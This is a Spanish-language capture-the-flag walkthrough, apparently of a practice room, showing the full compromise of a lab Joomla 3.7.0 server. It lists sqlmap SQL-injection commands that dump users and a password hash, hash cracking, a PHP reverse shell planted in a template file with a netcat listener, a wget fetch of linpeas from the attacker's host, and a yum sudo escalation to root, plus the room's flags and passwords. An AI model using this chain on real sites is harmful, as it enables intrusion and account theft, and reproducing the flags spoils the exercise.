No nos dice mucho, iniciamos la máquina y visitamos para responder a la primera pregunta.

¿Quien robó el banco?

Spiderman

Obtener usuario y administración

¿Cuál es la versión de Joomla?

Esta pregunta no es sencilla, tras mirar varios métodos de encontrar la versión sin acceder al panel de administración, encontramos este:

http://webjoomla.com/administrator/manifests/files/joomla.xml

Que en el apartado version nos dice: 3.7.0

3.7.0

Ahora, la pista nos dice que es vulnerable y que, en lugar de usar SQLMap, ¿por qué no usar un script de Python?

Buscamos un exploit en exploit-db.com y encontramos este:

https://www.exploit-db.com/exploits/42033

Lo leemos atentamente y nos da la instrucción básica para SQLMap.

sqlmap -u "http://IP_Objetivo/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

Además de eso, siguiendo la recomendación, si buscamos en Google Joomla 3.7.0 python script, aparece este:

https://github.com/NinjaJc01/joomblah-3

Que nos vuelca las tablas de usuario y sesión, con lo que vamos mucho más afinados que por el camino SQLMap.

Descargamos el script y lo ejecutamos con:

python3 joombla.py http://IP_objetivo

Y nos da error en la línea 45 donde dice:

result += value must be str, not bytes

Si cambiamos la línea 45 a:

result += str(value)

Nos deja seguir, pero se queda parado después y sale sin dar error y en silencio. La mayoría de scripts no funcionan tiempo después, a saber por qué.

Hemos de volver por el camino SQLMap

Poner la instrucción del exploit nos indicaba que había varias bases de datos y una de ellas es Joomla. Veamos sus tablas.

sqlmap -u "http://IP_Objetivo/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomla --tables
  • -D indica la base de datos, que es joomla en este caso.
  • –tables indica que muestre las tablas.

Vemos que hay una llamada #__users

Comprobemos sus columnas:

sqlmap -u "http://IP_Objetivo/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomla -T ''#__users' --columns
  • -D es base de datos, joomla.
  • -T es tabla #__users
  • –columns indica que nos vaya sacando las columnas que encuentre.

Decimos que sí a la pregunta de si queremos probar con nombres comunes, elegimos las siguientes opciones por defecto y y va probando hasta encontrar:

  • id
  • name
  • username
  • email
  • password
  • params

Ahora podemos volcar username y password, que es lo que interesa.

sqlmap -u "http://IP_Objetivo/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomla -T ''#__users' -C username --dump
  • -C es columna, en este caso, username.
  • –dump es que vuelque.

Nos saca el usuario jonah, que era esperable y el único en la base de datos.

Volcamos la contraseña con hash.

sqlmap -u "http://IP_Objetivo/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomla -T ''#__users' -C password -dump

Usamos la misma instrucción, pero cambiamos a columna password.

Obtenemos el hash:

$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

Lo guardamos en hash.txt y ejecutamos John the Ripper para romperlo.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Tras unos cuatrocientos años aparece la contraseña, que es la siguiente pregunta.

spiderman123

Nos pide la bandera de usuario. Nos vamos a la página /administrator y entramos en el panel de control de Joomla. La cuestión es ver cómo podemos conseguir una shell inversa en este CMS.

Sin mirar en Internet, voy a probar un sistema similar al de Wordpress y busco las plantillas de Joomla en la sección Extensions > Templates > Templates del menú superior.

Veo que la plantilla que se está usando es la llamada Beez3, así que pulso en el enlace Beez3 Details and Files.

En la parte izquierda me aparecen los archivos que componen la plantilla y mi objetivo es sustituir el código de error.php por el de una shell inversa en php.

Me voy a la shell inversa en PHP de PentestMonkey.

Copio el código de la misma en un editor de texto y configuro los parámetros de IP y puerto a la IP de mi máquina de ataque y el puerto en el que voy a abrir un escuchador de Netcat, en este caso, 4000 por costumbre.

Dejo ese escuchador preparado en una terminal de mi máquina:

nc -lvnp 4000

Ahora borro el código php de error.php y pego el de la shell inversa.

Pulso en el botón verde de Save para guardar.

A continuación, visito el archivo de la plantilla en:

http://IP_Objetivo/templates/beez3/error.php

Y si visito la terminal, veo que tengo shell en mi escuchador de Netcat.

Si ejecuto el comando pwd compruebo que soy el usuario apache, pero si me voy a /home veo que solo hay directorio para el usuario jjameson y que no puedo entrar.

La contraseña spiderman123 no funciona cuando trato de cambiar de usuario con el comando su jjameson.

Para analizar otras formas de escalada de privilegios, uso el script linpeas.sh

Lo subo creando un servidor web en mi máquina de ataque

python3 -m http.server 8000

Ahora, en la máquina objetivo, lo descargo con wget y le doy permisos de ejecución.

cd /tmp # Para estar en un directorio en el que operar cambiando permisos sin problema
wget IP_Ataque:8000/linpeas.sh # Descargo el script de mi máquina de ataque
chmod +x linpeas.sh # Le doy permisos de ejecución
./limpeas.sh > linpeas.txt # Ejecuto el script y el resultado lo guardo en un archivo para verlo con detenimiento, porque es demasiado

Examinando el resultado de linpeas aparece una contraseña extraña por ahí: nv5uz9r3ZEDzVjNu

La pruebo cambiando al usuario jjameson con su jjameson y funciona.

Entro en su directorio y leo user.txt

27a260fe3cba712cfdedb1c86d80442e

Ahora nos pide la bandera de administrador.

Ejecutando

sudo -l

Veo que el usuario puede ejecutar yum sin contraseña. Nos vamos a https://gtfobins.github.io/ para buscar cómo elevar privilegios con eso. Recordemos que esta habitación, en su texto introductorio, ya nos avisaba de yum.

Nos da dos opciones, elijo la segunda, que es cargar un script y, básicamente, copio y pego línea a línea como buen script kiddie.

Cuando termino, tengo consola de root, así que entro a /root a leer la bandera.

eec3d53292b1821868266858d7fa6f79